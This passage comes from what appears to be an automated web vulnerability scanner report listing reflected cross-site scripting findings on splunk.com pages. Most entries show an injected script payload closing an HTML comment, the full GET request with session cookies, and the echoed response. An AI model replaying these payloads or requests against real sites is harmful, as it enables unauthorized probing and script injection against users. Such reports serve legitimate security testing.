Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:28 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:29 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:29 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>310d4d8b3fe/support/SP-CAAAAFV -->
...[SNIP]...

4.617. http://www.splunk.com/view/support/SP-CAAAAFV [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support/SP-CAAAAFV

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 57e31--><script>alert(1)</script>a47570b3a69 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support57e31--><script>alert(1)</script>a47570b3a69/SP-CAAAAFV HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:18:59 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:48:59 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:48:59 GMT; path=/
ETag: f23fcd210c1e7061db40414e53e7be971296944339
Last-Modified: Sat, 05 Feb 2011 22:18:59 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a47570b3a69/SP-CAAAAFV -->
...[SNIP]...

4.618. http://www.splunk.com/view/support/SP-CAAAAFV [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support/SP-CAAAAFV

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 10d0b--><script>alert(1)</script>55607590eb7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support/SP-CAAAAFV10d0b--><script>alert(1)</script>55607590eb7 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:19:30 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:49:30 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:49:30 GMT; path=/
ETag: 972ef7a2a946758d747a5526d43fad9f1296944370
Last-Modified: Sat, 05 Feb 2011 22:19:30 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18363

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>55607590eb7 -->
...[SNIP]...

4.619. http://www.splunk.com/view/support/SP-CAAAAFV [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/support/SP-CAAAAFV

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload db595--><script>alert(1)</script>63c414c791d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/support/SP-CAAAAFV?db595--><script>alert(1)</script>63c414c791d=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:17:34 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 23955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>63c414c791d=1 -->
...[SNIP]...

4.620. http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/what-is-it-data/SP-CAAACDC

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload bd8a4--><script>alert(1)</script>2275a3e00fd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /viewbd8a4--><script>alert(1)</script>2275a3e00fd/what-is-it-data/SP-CAAACDC HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:20 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:20 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:20 GMT; path=/
ETag: e4ee4f1244fdd6e178efa68fdb03fd1a1296944120
Last-Modified: Sat, 05 Feb 2011 22:15:20 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18395

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>2275a3e00fd/what-is-it-data/SP-CAAACDC -->
...[SNIP]...

4.621. http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/what-is-it-data/SP-CAAACDC

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 1761d--><script>alert(1)</script>b16b03dcf08 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/what-is-it-data1761d--><script>alert(1)</script>b16b03dcf08/SP-CAAACDC HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:15:52 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:45:52 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:45:52 GMT; path=/
ETag: 48a40b9ca2cc3a77d477ae78367a5b681296944152
Last-Modified: Sat, 05 Feb 2011 22:15:52 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18395

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b16b03dcf08/SP-CAAACDC -->
...[SNIP]...

4.622. http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/what-is-it-data/SP-CAAACDC

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload c0775--><script>alert(1)</script>a2476226cd3 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/what-is-it-data/SP-CAAACDCc0775--><script>alert(1)</script>a2476226cd3 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:16:26 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:46:26 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:46:26 GMT; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18395

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>a2476226cd3 -->
...[SNIP]...

4.623. http://www.splunk.com/view/what-is-it-data/SP-CAAACDC [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/what-is-it-data/SP-CAAACDC

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a6428--><script>alert(1)</script>cd800798b9b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/what-is-it-data/SP-CAAACDC?a6428--><script>alert(1)</script>cd800798b9b=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:14:38 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: bc078e39acedd5051b0e60c2687053921296944079
Last-Modified: Sat, 05 Feb 2011 22:14:39 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 29262

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>cd800798b9b=1 -->
...[SNIP]...

4.624. http://www.splunk.com/view/whats-new/SP-CAAAFD2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/whats-new/SP-CAAAFD2

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 15d4f--><script>alert(1)</script>9419c5af0ea was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view15d4f--><script>alert(1)</script>9419c5af0ea/whats-new/SP-CAAAFD2 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:14:35 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:44:35 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:44:35 GMT; path=/
ETag: 9df4af1a1593f2ff86f93d08767566901296944076
Last-Modified: Sat, 05 Feb 2011 22:14:36 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18371

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9419c5af0ea/whats-new/SP-CAAAFD2 -->
...[SNIP]...

4.625. http://www.splunk.com/view/whats-new/SP-CAAAFD2 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/view/whats-new/SP-CAAAFD2

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 5dd55--><script>alert(1)</script>a9ce0ced2e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /view/whats-new5dd55--><script>alert(1)</script>a9ce0ced2e1/SP-CAAAFD2 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
